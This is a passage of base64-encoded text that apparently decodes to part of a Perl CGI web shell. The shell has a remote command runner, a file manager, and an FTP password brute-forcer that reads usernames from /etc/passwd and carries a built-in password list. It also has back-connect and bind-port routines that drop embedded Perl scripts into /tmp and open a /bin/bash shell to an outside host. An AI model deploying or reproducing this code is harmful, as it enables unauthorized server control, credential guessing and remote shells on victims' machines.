9uIj4KCgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPgoJJFByb21wdAoJPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjQwIiBuYW1lPSJjIj4KCTxpbnB1dCBuYW1lPSJzIiBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFbnRlciI+Cgk8YnI+Q29tbWFuZDogPHJ1bj4gJFJ1bkNvbW1hbmQgPC9ydW4+Cgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmaWxlIiB2YWx1ZT0iJGZpbGUiID4gJHNhdmUgPGJyPiAkbXNnCgk8YnI+PHRleHRhcmVhIGlkPSJkYXRhIiBuYW1lPSJkYXRhIiBjb2xzPSIkY29scyIgcm93cz0iJHJvd3MiIHNwZWxsY2hlY2s9ImZhbHNlIj4KRU5ECgkKCSRyZXN1bHQgLj0gJlJ1bkNtZDsKCSRyZXN1bHQgLj0gICI8L3RleHRhcmVhPiI7CgkkcmVzdWx0IC49ICAiPC9mb3JtPiI7CglyZXR1cm4gJHJlc3VsdDsKfQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CiMgU2F2ZSBGaWxlCiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0Kc3ViIFNhdmVGaWxlKCQpCnsKCW15ICREYXRhPSBzaGlmdCA7CglteSAkRmlsZT0gc2hpZnQ7CgkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kRmlsZTsKCWlmKG9wZW4oRklMRSwgIj4kRmlsZSIpKQoJewoJCWJpbm1vZGUgRklMRTsKCQlwcmludCBGSUxFICREYXRhOwoJCWNsb3NlIEZJTEU7CgkJcmV0dXJuIDE7Cgl9ZWxzZQoJewoJCXJldHVybiAwOwoJfQp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBCcnV0ZSBGb3JjZXIgRm9ybQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBCcnV0ZUZvcmNlckZvcm0KewoJbXkgJHJlc3VsdD0iIjsKCSRyZXN1bHQgLj0gPDxFTkQ7Cgo8dGFibGU+Cgo8dHI+Cjx0ZCBjb2xzcGFuPSIyIiBhbGlnbj0iY2VudGVyIj4KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjPGJyPgpTaW1wbGUgRlRQIGJydXRlIGZvcmNlcjxicj4KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgoKPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImJydXRlZm9yY2VyIi8+CjwvdGQ+CjwvdHI+Cjx0cj4KPHRkPlVzZXI6PGJyPjx0ZXh0YXJlYSByb3dzPSIxOCIgY29scz0iMzAiIG5hbWU9InVzZXIiPgpFTkQKY2hvcCgkcmVzdWx0IC49IGBsZXNzIC9ldGMvcGFzc3dkIHwgY3V0IC1kOiAtZjFgKTsKJHJlc3VsdCAuPSA8PCdFTkQnOwo8L3RleHRhcmVhPjwvdGQ+Cjx0ZD4KClBhc3M6PGJyPgo8dGV4dGFyZWEgcm93cz0iMTgiIGNvbHM9IjMwIiBuYW1lPSJwYXNzIj4xMjNwYXNzCjEyMyFAIwoxMjNhZG1pbgoxMjNhYmMKMTIzNDU2YWRtaW4KMTIzNDU1NDMyMQoxMjM0NDMyMQpwYXNzMTIzCmFkbWluCmFkbWluY3AKYWRtaW5pc3RyYXRvcgptYXRraGF1CnBhc3NhZG1pbgpwQHNzd29yZApwQHNzdzByZApwYXNzd29yZAoxMjM0NTYKMTIzNDU2NwoxMjM0NTY3OAoxMjM0NTY3ODkKMTIzNDU2Nzg5MAoxMTExMTEKMDAwMDAwCjIyMjIyMgozMzMzMzMKNDQ0NDQ0CjU1NTU1NQo2NjY2NjYKNzc3Nzc3Cjg4ODg4OAo5OTk5OTkKMTIzMTIzCjIzNDIzNAozNDUzNDUKNDU2NDU2CjU2NzU2Nwo2Nzg2NzgKNzg5Nzg5CjEyMzMyMQo0NTY2NTQKNjU0MzIxCjc2NTQzMjEKODc2NTQzMjEKOTg3NjU0MzIxCjA5ODc2NTQzMjEKYWRtaW4xMjMKYWRtaW4xMjM0NTYKYWJjZGVmCmFiY2FiYwohQCMhQCMKIUAjJCVeCiFAIyQlXiYqKAohQCMkJCNAIQphYmMxMjMKYW5oeWV1ZW0KaWxvdmV5b3U8L3RleHRhcmVhPgo8L3RkPgo8L3RyPgo8dHI+Cjx0ZCBjb2xzcGFuPSIyIiBhbGlnbj0iY2VudGVyIj4KU2xlZXA6PHNlbGVjdCBuYW1lPSJzbGVlcCI+Cgo8b3B0aW9uPjA8L29wdGlvbj4KPG9wdGlvbj4xPC9vcHRpb24+CjxvcHRpb24+Mjwvb3B0aW9uPgoKPG9wdGlvbj4zPC9vcHRpb24+Cjwvc2VsZWN0PiAKPGlucHV0IHR5cGU9InN1Ym1pdCIgY2xhc3M9InN1Ym1pdCIgdmFsdWU9IkJydXRlIEZvcmNlciIvPjwvdGQ+PC90cj4KPC9mb3JtPgo8L3RhYmxlPgpFTkQKcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEJydXRlIEZvcmNlcgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBCcnV0ZUZvcmNlcgp7CglteSAkcmVzdWx0PSIiOwoJJFNlcnZlcj0kRU5WeydTRVJWRVJfQUREUid9OwoJaWYoJGlueyd1c2VyJ30gZXEgIiIpCgl7CgkJJHJlc3VsdCAuPSAmQnJ1dGVGb3JjZXJGb3JtOwoJfWVsc2UKCXsKCQl1c2UgTmV0OjpGVFA7IAoJCUB1c2VyPSBzcGxpdCgvXG4vLCAkaW57J3VzZXInfSk7CgkJQHBhc3M9IHNwbGl0KC9cbi8sICRpbnsncGFzcyd9KTsKCQljaG9tcChAdXNlcik7CgkJY2hvbXAoQHBhc3MpOwoJCSRyZXN1bHQgLj0gIjxicj48YnI+WytdIFRyeWluZyBicnV0ZSAkU2VydmVyTmFtZTxicj49PT09PT09PT09PT09PT09PT09PT4+Pj4+Pj4+Pj4+Pjw8PDw8PDw8PDw9PT09PT09PT09PT09PT09PT09PTxicj48YnI+XG4iOwoJCWZvcmVhY2ggJHVzZXJuYW1lIChAdXNlcikKCQl7CgkJCWlmKCEoJHVzZXJuYW1lIGVxICIiKSkKCQkJewoJCQkJZm9yZWFjaCAkcGFzc3dvcmQgKEBwYXNzKQoJCQkJewoJCQkJCSRmdHAgPSBOZXQ6OkZUUC0+bmV3KCRTZXJ2ZXIpIG9yIGRpZSAiQ291bGQgbm90IGNvbm5lY3QgdG8gJFNlcnZlck5hbWVcbiI7IAoJCQkJCWlmKCRmdHAtPmxvZ2luKCIkdXNlcm5hbWUiLCIkcGFzc3dvcmQiKSkKCQkJCQl7CgkJCQkJCSRyZXN1bHQgLj0gIjxhIHRhcmdldD0nX2JsYW5rJyBocmVmPSdmdHA6Ly8kdXNlcm5hbWU6JHBhc3N3b3JkXEAkU2VydmVyJz5bK10gZnRwOi8vJHVzZXJuYW1lOiRwYXNzd29yZFxAJFNlcnZlcjwvYT48YnI+XG4iOwoJCQkJCQkkZnRwLT5xdWl0KCk7CgkJCQkJCWJyZWFrOwoJCQkJCX0KCQkJCQlpZighKCRpbnsnc2xlZXAnfSBlcSAiMCIpKQoJCQkJCXsKCQkJCQkJc2xlZXAoaW50KCRpbnsnc2xlZXAnfSkpOwoJCQkJCX0KCQkJCQkkZnRwLT5xdWl0KCk7CgkJCQl9CgkJCX0KCQl9CgkJJHJlc3VsdCAuPSAiXG48YnI+PT09PT09PT09PT4+Pj4+Pj4+Pj4gRmluaXNoZWQgPDw8PDw8PDw8PD09PT09PT09PT08YnI+XG4iOwoJfQoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEJhY2tjb25uZWN0IEZvcm0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQmFja0JpbmRGb3JtCnsKCXJldHVybiA8PEVORDsKCTxicj48YnI+CgoJPHRhYmxlPgoJPHRyPgoJPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+Cgk8dGQ+QmFja0Nvbm5lY3Q6IDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJiYWNrYmluZCI+PC90ZD4KCTx0ZD4gSG9zdDogPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjIwIiBuYW1lPSJjbGllbnRhZGRyIiB2YWx1ZT0iJEVOVnsnUkVNT1RFX0FERFInfSI+CgkgUG9ydDogPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjciIG5hbWU9ImNsaWVudHBvcnQiIHZhbHVlPSI4MCIgb25rZXl1cD0iZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2JhJykuaW5uZXJIVE1MPXRoaXMudmFsdWU7Ij48L3RkPgoKCTx0ZD48aW5wdXQgbmFtZT0icyIgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIHZhbHVlPSJDb25uZWN0Ij48L3RkPgoJPC9mb3JtPgoJPC90cj4KCTx0cj4KCTx0ZCBjb2xzcGFuPTM+PGZvbnQgY29sb3I9I0ZGRkZGRj5bK10gQ2xpZW50IGxpc3RlbiBiZWZvcmUgY29ubmVjdCBiYWNrIQoJPGJyPlsrXSBUcnkgY2hlY2sgeW91ciBQb3J0IHdpdGggPGEgdGFyZ2V0PSJfYmxhbmsiIGhyZWY9Imh0dHA6Ly93d3cuY2FueW91c2VlbWUub3JnLyI+aHR0cDovL3d3dy5jYW55b3VzZWVtZS5vcmcvPC9hPgoJPGJyPlsrXSBDbGllbnQgbGlzdGVuIHdpdGggY29tbWFuZDogPHJ1bj5uYyAtdnYgLWwgLXAgPHNwYW4gaWQ9ImJhIj44MDwvc3Bhbj48L3J1bj48L2ZvbnQ+PC90ZD4KCgk8L3RyPgoJPC90YWJsZT4KCgk8YnI+PGJyPgoJPHRhYmxlPgoJPHRyPgoJPGZvcm0gbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+Cgk8dGQ+QmluZCBQb3J0OiA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iYmFja2JpbmQiPjwvdGQ+CgoJPHRkPiBQb3J0OiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMTUiIG5hbWU9ImNsaWVudHBvcnQiIHZhbHVlPSIxNDEyIiBvbmtleXVwPSJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYmknKS5pbm5lckhUTUw9dGhpcy52YWx1ZTsiPgoKCSBQYXNzd29yZDogPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjE1IiBuYW1lPSJiaW5kcGFzcyIgdmFsdWU9IlRISUVVR0lBQlVPTiI+PC90ZD4KCTx0ZD48aW5wdXQgbmFtZT0icyIgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIHZhbHVlPSJCaW5kIj48L3RkPgoJPC9mb3JtPgoJPC90cj4KCTx0cj4KCTx0ZCBjb2xzcGFuPTM+PGZvbnQgY29sb3I9I0ZGRkZGRj5bK10gQ2h1YyBuYW5nIGNodWEgZGMgdGVzdCEKCTxicj5bK10gVHJ5IGNvbW1hbmQ6IDxydW4+bmMgJEVOVnsnU0VSVkVSX0FERFInfSA8c3BhbiBpZD0iYmkiPjE0MTI8L3NwYW4+PC9ydW4+PC9mb250PjwvdGQ+CgoJPC90cj4KCTwvdGFibGU+PGJyPgpFTkQKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgQmFja2Nvbm5lY3QgdXNlIHBlcmwKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQmFja0JpbmQKewoJdXNlIE1JTUU6OkJhc2U2NDsKCXVzZSBTb2NrZXQ7CQoJJGJhY2twZXJsPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnU1U4Nk9sTnZZMnRsZERzTkNpUlRhR1ZzYkFrOUlDSXZZbWx1TDJKaGMyZ2lPdzBLSkVGU1IwTTlRRUZTUjFZN0RRcDFjMlVnVTI5amEyVjBPdzBLZFhObElFWnBiR1ZJWVc1a2JHVTdEUXB6YjJOclpYUW9VMDlEUzBWVUxDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnWjJWMGNISnZkRzlpZVc1aGJXVW9JblJqY0NJcEtTQnZjaUJrYVdVZ2NISnBiblFnSWxzdFhTQlZibUZpYkdVZ2RHOGdVbVZ6YjJ4MlpTQkliM04wWEc0aU93MEtZMjl1Ym1WamRDaFRUME5MUlZRc0lITnZZMnRoWkdSeVgybHVLQ1JCVWtkV1d6RmRMQ0JwYm1WMFgyRjBiMjRvSkVGU1IxWmJNRjBwS1NrZ2IzSWdaR2xsSUhCeWFXNTBJQ0piTFYwZ1ZXNWhZbXhsSUhSdklFTnZibTVsWTNRZ1NHOXpkRnh1SWpzTkNuQnlhVzUwSUNKRGIyNXVaV04wWldRaElqc05DbE5QUTB0RlZDMCtZWFYwYjJac2RYTm9LQ2s3RFFwdmNHVnVLRk5VUkVsT0xDQWlQaVpUVDBOTFJWUWlLVHNOQ205d1pXNG9VMVJFVDFWVUxDSStKbE5QUTB0RlZDSXBPdzBLYjNCbGJpaFRWRVJGVWxJc0lqNG1VMDlEUzBWVUlpazdEUXB3Y21sdWRDQWlMUzA5UFNCRGIyNXVaV04wWldRZ1FtRmphMlJ2YjNJZ1BUMHRMU0FnWEc1Y2JpSTdEUXB6ZVhOMFpXMG9JblZ1YzJWMElFaEpVMVJHU1V4Rk95QjFibk5sZENCVFFWWkZTRWxUVkNBN1pXTm9ieUFuV3l0ZElGTjVjM1JsYldsdVptODZJQ2M3SUhWdVlXMWxJQzFoTzJWamFHODdaV05vYnlBbld5dGRJRlZ6WlhKcGJtWnZPaUFuT3lCcFpEdGxZMmh2TzJWamFHOGdKMXNyWFNCRWFYSmxZM1J2Y25rNklDYzdJSEIzWkR0bFkyaHZPeUJsWTJodklDZGJLMTBnVTJobGJHdzZJQ2M3SkZOb1pXeHNJaWs3RFFwamJHOXpaU0JUVDBOTFJWUTciOwoJJGJpbmRwZXJsPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnVTI5amEyVjBPdzBLSkVGU1IwTTlRRUZTUjFZN0RRb2tjRzl5ZEFrOUlDUkJVa2RXV3pCZE93MEtKSEJ5YjNSdkNUMGdaMlYwY0hKdmRHOWllVzVoYldVb0ozUmpjQ2NwT3cwS0pGTm9aV3hzQ1QwZ0lpOWlhVzR2WW1GemFDSTdEUXB6YjJOclpYUW9VMFZTVmtWU0xDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnSkhCeWIzUnZLVzl5SUdScFpTQWljMjlqYTJWME9pUWhJanNOQ25ObGRITnZZMnR2Y0hRb1UwVlNWa1ZTTENCVFQweGZVMDlEUzBWVUxDQlRUMTlTUlZWVFJVRkVSRklzSUhCaFkyc29JbXdpTENBeEtTbHZjaUJrYVdVZ0luTmxkSE52WTJ0dmNIUTZJQ1FoSWpzTkNtSnBibVFvVTBWU1ZrVlNMQ0J6YjJOcllXUmtjbDlwYmlna2NHOXlkQ3dnU1U1QlJFUlNYMEZPV1NrcGIzSWdaR2xsSUNKaWFXNWtPaUFrSVNJN0RRcHNhWE4wWlc0b1UwVlNWa1ZTTENCVFQwMUJXRU5QVGs0cENRbHZjaUJrYVdVZ0lteHBjM1JsYmpvZ0pDRWlPdzBLWm05eUtEc2dKSEJoWkdSeUlEMGdZV05qWlhCMEtFTk1TVVZPVkN3Z1UwVlNWa1ZTS1RzZ1kyeHZjMlVnUTB4SlJVNVVLUTBLZXcwS0NXOXdaVzRvVTFSRVNVNHNJQ0krSmtOTVNVVk9WQ0lwT3cwS0NXOXdaVzRvVTFSRVQxVlVMQ0FpUGlaRFRFbEZUbFFpS1RzTkNnbHZjR1Z1S0ZOVVJFVlNVaXdnSWo0bVEweEpSVTVVSWlrN0RRb0pjM2x6ZEdWdEtDSjFibk5sZENCSVNWTlVSa2xNUlRzZ2RXNXpaWFFnVTBGV1JVaEpVMVFnTzJWamFHOGdKMXNyWFNCVGVYTjBaVzFwYm1adk9pQW5PeUIxYm1GdFpTQXRZVHRsWTJodk8yVmphRzhnSjFzclhTQlZjMlZ5YVc1bWJ6b2dKenNnYVdRN1pXTm9ienRsWTJodklDZGJLMTBnUkdseVpXTjBiM0o1T2lBbk95QndkMlE3WldOb2J6c2daV05vYnlBbld5dGRJRk5vWld4c09pQW5PeVJUYUdWc2JDSXBPdzBLQ1dOc2IzTmxLRk5VUkVsT0tUc05DZ2xqYkc5elpTaFRWRVJQVlZRcE93MEtDV05zYjNObEtGTlVSRVZTVWlrN0RRcDlEUW89IjsKCgkkQ2xpZW50QWRkciA9ICRpbnsnY2xpZW50YWRkcid9OwoJJENsaWVudFBvcnQgPSBpbnQoJGlueydjbGllbnRwb3J0J30pOwoJaWYoJENsaWVudFBvcnQgZXEgMCkKCXsKCQlyZXR1cm4gJkJhY2tCaW5kRm9ybTsKCX1lbHNpZighJENsaWVudEFkZHIgZXEgIiIpCgl7CgkJJERhdGE9ZGVjb2RlX2Jhc2U2NCgkYmFja3BlcmwpOwoJCWlmKC13ICIvdG1wLyIpCgkJewoJCQkkRmlsZT0iL3RtcC9iYWNrY29ubmVjdC5wbCI7CQoJCX1lbHNlCgkJewoJCQkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4iYmFja2Nvbm5lY3QucGwiOwoJCX0KCQlvcGVuKEZJTEUsICI+JEZpbGUiKTsKCQlwcmludCBGSUxFICREYXRhOwoJCWNsb3NlIEZJTEU7CgkJc3lzdGVtKCJwZXJsIGJhY2tjb25uZWN0LnBsICRDbGllbnRBZGRyICRDbGllbnRQb3J0Iik7CgkJdW5saW5rKCRGaWxlKTsKCQlleGl0IDA7Cgl9ZWxzZQoJewoJCSREYXRhPWRlY29kZV9iYXNlNjQoJGJpbmRwZXJsKTsKCQlpZigtdyAiL3RtcCIpCgkJewoJCQkkRmlsZT0iL3RtcC9iaW5kcG9ydC5wbCI7CQoJCX1lbHNlCgkJewoJCQkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4iYmluZHBvcnQucGwiOwoJCX0KCQlvcGVuKEZJTEUsICI+JEZpbGUiKTsKCQlwcmludCBGSUxFICREYXRhOwoJCWNsb3NlIEZJTEU7CgkJc3lzdGVtKCJwZXJsIGJpbmRwb3J0LnBsICRDbGllbnRQb3J0Iik7CgkJdW5saW5rKCRGaWxlKTsKCQlleGl0IDA7Cgl9Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojICBBcnJheSBMaXN0IERpcmVjdG9yeQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBSbURpcigkKSAKewoJbXkgJGRpciA9IHNoaWZ0OwogICAgaWYob3BlbmRpcihESVIsJGRpcikpCgl7CgkJd2hpbGUoJGZpbGUgPSByZWFkZGlyKERJUikpCgkJewoJCQlpZigoJGZpbGUgbmUgIi4iKSAmJiAoJGZpbGUgbmUgIi4uIikpCgkJCXsKCQkJCSRmaWxlPSAkZGlyLiRQYXRoU2VwLiRmaWxlOwoJCQkJaWYoLWQgJGZpbGUpCgkJCQl7CgkJCQkJJlJtRGlyKCRmaWxlKTsKCQkJCX0KCQkJCWVsc2UKCQkJCXsKCQkJCQl1bmxpbmsoJGZpbGUpOwoJCQkJfQoJCQl9CgkJfQoJCWNsb3NlZGlyKERJUik7Cgl9CglpZighcm1kaXIoJGRpcikpCgl7CgkJCgl9Cn0Kc3ViIEZpbGVPd25lcigkKQp7CglteSAkZmlsZSA9IHNoaWZ0OwoJaWYoLWUgJGZpbGUpCgl7CgkJKCR1aWQsJGdpZCkgPSAoc3RhdCgkZmlsZSkpWzQsNV07CgkJaWYoJFdpbk5UKQoJCXsKCQkJcmV0dXJuICI/Pz8iOwoJCX0KCQllbHNlCgkJewoJCQkkbmFtZT1nZXRwd3VpZCgkdWlkKTsKCQkJJGdyb3VwPWdldGdyZ2lkKCRnaWQpOwoJCQlyZXR1cm4gJG5hbWUuIi8iLiRncm91cDsKCQl9Cgl9CglyZXR1cm4gIj8/PyI7Cn0Kc3ViIFBhcmVudEZvbGRlcigkKQp7CglteSAkcGF0aCA9IHNoaWZ0OwoJbXkgJENvbW0gPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiJjZCAuLiIuJENtZFNlcC4kQ21kUHdkOwoJY2hvcCgkcGF0aCA9IGAkQ29tbWApOwoJcmV0dXJuICRwYXRoOwp9CnN1YiBGaWxlUGVybXMoJCkKewoJbXkgJGZpbGUgPSBzaGlmdDsKCW15ICR1ciA9ICItIjsKCW15ICR1dyA9ICItIjsKCWlmKC1lICRmaWxlKQoJewoJCWlmKCRXaW5OVCkKCQl7CgkJCWlmKC1yICRmaWxlKXsgJHVyID0gInIiOyB9CgkJCWlmKC13ICRmaWxlKXsgJHV3ID0gInciOyB9CgkJCXJldHVybiAkdXIgLiAiIC8gIiAuICR1dzsKCQl9ZWxzZQoJCXsKCQkJJG1vZGU9KHN0YXQoJGZpbGUpKVsyXTsKCQkJJHJlc3VsdCA9IHNwcmludGYoIiUwNG8iLCAkbW9kZSAmIDA3Nzc3KTsKCQkJcmV0dXJuICRyZXN1bHQ7CgkJfQoJfQoJcmV0dXJuICIwMDAwIjsKfQpzdWIgRmlsZUxhc3RNb2RpZmllZCgkKQp7CglteSAkZmlsZSA9IHNoaWZ0OwoJaWYoLWUgJGZpbGUpCgl7CgkJKCRsYSkgPSAoc3RhdCgkZmlsZSkpWzldOwoJCSgkZCwkbSwkeSwkaCwkaSkgPSAobG9jYWx0aW1lKCRsYSkpWzMsNCw1LDIsMV07CgkJJHkgPSAkeSArIDE5MDA7CgkJQG1vbnRoID0gcXcvMSAyIDMgNCA1IDYgNyA4IDkgMTAgMTEgMTIvOwoJCSRsbXRpbWUgPSBzcHJpbnRmKCIlMDJkLyVzLyU0ZCAlMDJkOiUwMmQiLCRkLCRtb250aFskbV0sJHksJGgsJGkpOwoJCXJldHVybiAkbG10aW1lOwoJfQoJcmV0dXJuICI/Pz8iOwp9CnN1YiBGaWxlU2l6ZSgkKQp7CglteSAkZmlsZSA9IHNoaWZ0OwoJaWYoLWYgJGZpbGUpCgl7CgkJcmV0dXJuIC1zICRmaWxlOwoJfQoJcmV0dXJuICIwIjsKCn0Kc3ViIFBhcnNlRmlsZVNpemUoJCkKewoJbXkgJHNpemUgPSBzaGlmdDsKCWlmKCRzaXplIDw9IDEwMjQpCgl7CgkJcmV0dXJuICRzaXplLiAiIEIiOwoJfQoJZWxzZQoJewoJCWlmKCRzaXplIDw9IDEwMjQqMTAyNCkgCgkJewoJCQkkc2l6ZSA9IHNwcmludGYoIiUuMDJmIiwkc2l6ZSAvIDEwMjQpOwoJCQlyZXR1cm4gJHNpemUuIiBLQiI7CgkJfQoJCWVsc2UgCgkJewoJCQkkc2l6ZSA9IHNwcmludGYoIiUuMmYiLCRzaXplIC8gMTAyNCAvIDEwMjQpOwoJCQlyZXR1cm4gJHNpemUuIiBNQiI7CgkJfQoJfQp9CnN1YiB0cmltKCQpCnsKCW15ICRzdHJpbmcgPSBzaGlmdDsKCSRzdHJpbmcgPX4gcy9eXHMrLy87Cgkkc3RyaW5nID1+IHMvXHMrJC8vOwoJcmV0dXJuICRzdHJpbmc7Cn0Kc3ViIEFkZFNsYXNoZXMoJCkKewoJbXkgJHN0cmluZyA9IHNoaWZ0OwoJJHN0cmluZz1+IHMvXFwvXFxcXC9nOwoJcmV0dXJuICRzdHJpbmc7Cn0Kc3ViIExpc3REaXIKewoJbXkgJHBhdGggPSAkQ3VycmVudERpci4kUGF0aFNlcDsKCSRwYXRoPX4gcy9cXFxcL1xcL2c7CglteSAkcmVzdWx0ID0gIjxmb3JtIG5hbWU9J2YnIGFjdGlvbj0nJFNjcmlwdExvY2F0aW9uJz48c3BhbiBzdHlsZT0nZm9udDogMTFwdCBPcGVuIFNhbnM7IGZvbnQtd2VpZ2h0OiBib2xkOyc+UGF0aDogWyAiLiZBZGRMaW5rRGlyKCJndWkiKS4iIF0gPC9zcGFuPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdkJyBzaXplPSc0MCcgdmFsdWU9JyRDdXJyZW50RGlyJyAvPjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2EnIHZhbHVlPSdndWknPjxpbnB1dCBjbGFzcz0nc3VibWl0JyB0eXBlPSdzdWJtaXQnIHZhbHVlPSdDaGFuZ2UnPjwvZm9ybT4iOwoJaWYoLWQgJHBhdGgpCgl7CgkJbXkgQGZuYW1lID0gKCk7CgkJbXkgQGRuYW1lID0gKCk7CgkJaWYob3BlbmRpcihESVIsJHBhdGgpKQoJCXsKCQkJd2hpbGUoJGZpbGUgPSByZWFkZGlyKERJUikpCgkJCXsKCQkJCSRmPSRwYXRoLiRmaWxlOwoJCQkJaWYoLWQgJGYpCgkJCQl7CgkJCQkJcHVzaChAZG5hbWUsJGZpbGUpOwoJCQkJfQoJCQkJZWxzZQoJCQkJewoJCQkJCXB1c2goQGZuYW1lLCRmaWxlKTsKCQkJCX0KCQkJfQoJCQljbG9zZWRpcihESVIpOwoJCX0KCQlAZm5hbWUgPSBzb3J0IHsgbGMoJGEpIGNtcCBsYygkYikgfSBAZm5hbWU7CgkJQGRuYW1lID0gc29ydCB7IGxjKCRhKSBjbXAgbGMoJGIpIH0gQGRuYW1lOwoJCSRyZXN1bHQgLj0gIjxkaXY+PHRhYmxlIHdpZHRoPSc5MCUnIGNsYXNzPSdsaXN0ZGlyJz4KCgkJPHRyIHN0eWxlPSdiYWNrZ3JvdW5kLWNvbG9yOiAjM2UzZTNlJz48dGg+RmlsZSBOYW1lPC90aD4KCQk8dGggc3R5bGU9J3dpZHRoOjEwMHB4Oyc+RmlsZSBTaXplPC90aD4KCQk8dGggc3R5bGU9J3dpZHRoOjE1MHB4Oyc+T3duZXI8L3RoPgoJCTx0aCBzdHlsZT0nd2lkdGg6MTAwcHg7Jz5QZXJtaXNzaW9uPC90aD4KCQk8dGggc3R5bGU9J3dpZHRoOjE1MHB4Oyc+TGFzdCBNb2RpZmllZDwvdGg+CgkJPHRoIHN0eWxlPSd3aWR0aDoyNjBweDsnPkFjdGlvbjwvdGg+PC90cj4iOwoJCW15ICRzdHlsZT0ibGluZSI7CgkJbXkgJGk9MDsKCQlmb3JlYWNoIG15ICRkIChAZG5hbWUpCgkJewoJCQkkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA/ICJub3RsaW5lIjogImxpbmUiOwoJCQkkZCA9ICZ0cmltKCRkKTsKCQkJJGRpcm5hbWU9JGQ7CgkJCWlmKCRkIGVxICIuLiIpIAoJCQl7CgkJCQkkZCA9ICZQYXJlbnRGb2xkZXIoJHBhdGgpOwoJCQl9CgkJCWVsc2lmKCRkIGVxICIuIikgCgkJCXsKCQkJCSRkID0gJHBhdGg7CgkJCX0KCQkJZWxzZSAKCQkJewoJCQkJJGQgPSAkcGF0aC4kZDsKCQkJfQoJCQkkcmVzdWx0IC49ICI8dHIgY2xhc3M9JyRzdHlsZSc+CgoJCQk8dGQgaWQ9J0ZpbGVfJGknIHN0eWxlPSdmb250OiAxMXB0IE9wZW4gU2FuczsgZm9udC13ZWlnaHQ6IGJvbGQ7Jz48YSAgaHJlZj0nP2E9Z3VpJmQ9I